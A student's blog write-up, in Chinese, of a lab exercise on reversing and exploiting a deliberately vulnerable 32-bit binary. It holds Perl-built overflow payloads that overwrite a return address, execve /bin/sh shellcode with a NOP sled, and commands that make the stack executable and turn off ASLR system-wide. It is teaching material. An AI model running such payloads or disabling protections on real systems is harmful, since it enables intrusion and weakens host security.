zoukankan      html  css  js  c++  java
  • 网络对抗实验一 逆向及Bof基础实践

    网络对抗实验一 逆向及Bof基础实践

    一、实验目的

    本次实践的对象是一个名为pwn1的linux可执行文件。
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    三个实践内容如下:

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    注入一个自己制作的shellcode并运行这段shellcode。
    这几种思路,基本代表现实情况中的攻击目标:
    运行原本不可访问的代码片段
    强行修改程序执行流
    以及注入运行任意代码。

    二、准备工作

    平台准备
    Linux-Kali(最好是虚拟机)
    一个准备好的实验文档(ExpCode)
    一个聪明且……有耐心的人
    知识储备
    一点Linux指令(实在不想学也可以一点一点跟着敲啦,还有不会的可以找度娘O(∩_∩)O)
    一点汇编语言知识
    一点缓冲区溢出的原理知识

    准备好了,我们来开始吧

    三、实验操作

    让我们边做边说

    1 学会怎么反汇编

    将实验用文件(本次试验名称为ExpCode1)放在/Home/Experiment1文件夹下,将用户名改为ZhaoWenhao。
    这里需要用到Linux指令(-d 英文全称是disassembling,含义是反汇编):

    ~# objdump -d (这里敲入文件名)

    敲击回车,Terminal会将该文件的所有汇编指令显示出来。

    指令执行结束后的效果如下图所示,由于汇编指令通常会很长,这里考虑到篇幅有限,仅向读者呈现我们会使用到的三个函数:main、foo和getShell。

    这里我们可以看到机器码16进制对应的汇编指令,和程序在运行时每条指令所在的内存地址。这里可以看到,main函数第4行(内存地址80484b5)跳转到了foo函数(内存地址8048491),和接下来的实验中用到的getShell函数的内存地址为804847d。机器指令e8即为跳转之意,后面的数值d7ffffff是补码,表示-41=0x29。经过计算,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

    2 修改机器指令

    对可执行文件进行修改,令其在main函数中第4条指令跳转到getShell函数,而不是foo函数。
    只要我们修改可执行文件“d7ffffff”为,"getShell-80484ba"对应的补码就行,是c3ffffff。
    对应操作为:
    复制一份可执行文件,命名为ExpCode2,以便在实验出错的时候还原备份,对应Linux命令为:++cp ExpCode1 ExpCode2++
    接下来打开其中一份文件进行修改,对应Linux命令为:++vi ExpCode1++

    敲击回车后,效果如下:

    我们发现这份文件中内容很乱,为了方便我们定位程序位置,我们最好使用十六进制查看文件内容,在这里我们可以按一下Esc键,在当前状态下允许用户输入命令。接下来我们可以输入命令将显示模式切换为16进制:++:%!xxd++。

    逐行查找对于我们来说难度还太大,所以我们可以借助命令行来帮助我们查找:++/e8d7++

    没有查到我们想要的字段,问题可能是因为这两个8bit十六进制数间被空格符隔开了。所以我们接下来可以查找:++/e8 d7++

    终端上高亮显示的部分就表示了我们查找的字段所在位置,在它前后检查可以确认这就是我们想要修改的汇编命令字段,接下来我们只需要根据上一阶段的计算结果将d7改为c3,即可将程序改为跳转到另一个函数。修改时,将光标移到需要修改的16进制数上,敲击r键,再敲击想要修改的键,即可完成对该字符的修改。修改完毕后,需要转换16进制为原格式,命令为:++:%!xxd -r++,再存盘退出命令为:++:wq++。(如果不转换为原格式,会导致该文件不可执行,一定要记得改回原样并保存ヽ( ̄▽ ̄)ノ)

    现在让我们对比一下,修改前的文件ExpCode2和修改后的文件ExpCode1。

    没有修改过的程序执行后,会出现Shell提示符,敲入命令是可以执行的,无效指令会被提示出现错误。没有修改过的程序,是会重复显示我们输入的字符串(敲击回车结束),这就反映了程序调用函数的不同,也验证了我们以上的操作是成功的,有效更改了函数调用。为了证明这一点,我们同样反汇编修改过得可执行文件。

    不难发现,程序中main函数第4个命令,所调用的函数变成了getShell。

    3 通过构造函数,行程BOF攻击,改变程序执行流

    再创建一个程序备份,以便在发生错误的时候恢复文件。这个阶段使用ExpCode2来进行操作。
    同样先对可执行文件进行反汇编操作,我们的目标同样是要更改函数调用,触发getShell函数以达成我们的目标。

    我们本次操作是针对foo函数,由于读入字符串的字符数量没有限制,系统也没有边界检测以防止缓冲区溢出,所以超出缓冲区的字符串就会影响程序的返回地址,如果超出的字符串是我们预先设计好的,那么被覆盖掉的返回地址就可以是我们指定的,不受原本程序控制的一个函数,最终造成程序返回出错。
    缓冲区溢出攻击就是利用了系统不设置边界检测这一漏洞实现的,原本预留出的空间不够使用,则对这块区域的输入数据会一直向下保存下去,这样会覆盖掉原来有意义的指令,变成一些对我们没有意义的其它指令,但如果这些溢出的数据是我们精心设计好的,覆盖在一些非常关键的地方比如跳转到另外一个函数,程序就出现其他效果了,由入侵者掌握电脑的这个程序了。
    让我们先来试试这个程序,确认输入多少字符串后会覆盖到程序的返回地址。我们先输入一个比较长的字符串,看看程序会不会执行出错。
    这个时候需要用到调试功能:

    在调试过程中,我们给这个程序输入了一个48B的字符串,程序如预想的情况那样出错了,在我们使用info r命令查看当前寄存器状态中,发现EIP寄存器(用于存放下一条指令的内存地址的寄存器)被0x35353535的字段覆盖掉了,这就表示了当前返回地址是四个‘5’。
    再进行进一步尝试,将5替换成其它字段已确定是哪个位置的字符会覆盖EIP寄存器。

    最终得到字符1234所处的位置会覆盖EIP寄存器,我们应该设计这四个字符以符合要求地改写程序(寄存器显示时是按照16进制从高位向低位显示,事实上我们的阅读和书写习惯则是从低位向高位,所以需要从右向左每两字为单位阅读)。接下来的操作会使这块区域变成我们需要的内容(\x7d\x84\x04\x08)。
    查阅ASCII码表,要改写的字符串\x7d\x84\x04\x08里面有无法从键盘读入的字符,这时候需要借助Perl语言来代替我们生成这样符合要求的字符串:

    ~# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

    重定向输出到input文件中,\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

    不难发现,程序就像ExpCode1文件一样可以执行我们的命令,当然,如果不使用input文件输入,也可以使用这条代码,起到一样的作用:

    ~# (perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn1

    4 注入Shellcode并执行

    我们准备好了这样一段

    Shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

    考虑到我们的buf缓存区域足够,我们这次采用结构是:nops+shellcode+retaddr。我们猜测的返回地址只要落在任何一个nop上,就会自然运行到shellcode命令,不会在中途跳转到其它函数或命令上。
    接下来我们输入一段命令:

    ~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

    用与上文类似的方法构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址,这段会在后面改为shellcode的地址。最后一个字符不要设置成\x0a,否则会影响接下来的操作。
    接下来确定\x4\x3\x2\x1这段到底该填什么,接着在终端中注入这样一段攻击buf:

    ~ (cat input_shellcode;cat) | ./ExpCode2

    这条指令输入完毕后按一次回车就不要再进行操作了,否则进程会结束,接下来的追踪进程将无法进行。
    这个时候我们打开另一个终端,用gdb调试:

    输入一系列命令,通过系统报告可以看出,原终端上(小窗口)的进程号为2064,所以就追踪这个进程,在其中设置断点(0x080484ae)。
    这个时候在原终端再按一下回车,回到大窗口,继续调试进程,看到命令被输入在了进程之中,查询ESP(存放栈顶地址的寄存器)寄存器并检视这一区域数据的内容。

    我们发现\x4\x3\x2\x1果然出现在栈顶,再往后一点就是我们所需要的地址了!细心一点,数到第一个f7,得到内存地址为0xffea8230,这就是我们需要更改的地址了。
    退出gdb编译,现在来修改输入时所用的字符串。

    像上文一样启用这个文件,发现:段错误

    看来仅仅这样还是不能达到目标……
    再做一次?结果还是不行……
    又试了几次结果发现每次的进程分配内存都会不一样,这需要我们关闭地址随机化:

    ~# execstack -s pwn1 //设置堆栈可执行
    ~# execstack -q pwn1 //查询文件的堆栈是否可执行
    X pwn1
    ~# more /proc/sys/kernel/randomize_va_space
    2
    ~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    ~# more /proc/sys/kernel/randomize_va_space
    0

    又试了几次(推荐大家别再试了,这个真的很累很烦躁 o(TωT)o )内存地址每次都是保持不变的,好了,重新开始!
    经过与上文同样的内容,再次修改我们的输入,这样就成功了!

    四、感想

    做的时候跳坑了……很久都没有反应过来,不过这些都不要紧!
    实验对于一个新手来说还是比较复杂的,不过这样的实验也的确是提升自我实力的最好的办法。
    跟着老师上课讲的步骤一步一步做下来其实不是很难,但更关键的是要掌握实验原理,这样会比较好理解,也不需要死记硬背一些看似很头疼的指令,下面就说说我遇到的问题吧。
    由于老师恩赐的Linux—Kali虚拟机是64位系统,所以一开始还不能运行实验准备的32位程序,因为修这个还搞炸了老师恩赐的虚拟机,所以后面又从官网上下载了一个很新很新的版本,如果有人也有同样的问题,点击这个链接哦~
    还有就是在设置堆栈可执行的时候,Linux可能会报错:execstack找不到命令,这样只需要我们安装一下apt-get install execstack即可(这个东西度娘不肯告诉我,感谢机智的同学!)
    总而言之,这次试验还是自己一点一点啃下来了,虽然中间去补学了很多Linux的东西,但是非常有成就感!
    文章中如有不对还望批评指正~

  • 相关阅读:
    剑指Offer-11.二进制中1的个数(C++/Java)
    剑指Offer-10.矩形覆盖(C++/Java)
    剑指Offer-9.变态跳台阶(C++/Java)
    UVA 1608 Non-boring sequence 不无聊的序列(分治,中途相遇)
    UVA1607 Gates 与非门电路 (二分)
    UVA 1451 Average平均值 (数形结合,斜率优化)
    UVA 1471 Defense Lines 防线 (LIS变形)
    UVA 1606 Amphiphilic Carbon Molecules 两亲性分子 (极角排序或叉积,扫描法)
    UVA 11134 FabledRooks 传说中的车 (问题分解)
    UVA 1152 4 Values Whose Sum is Zero 和为0的4个值 (中途相遇)
  • 原文地址:https://www.cnblogs.com/Qujinkongyuyin/p/8594478.html
Copyright © 2011-2022 走看看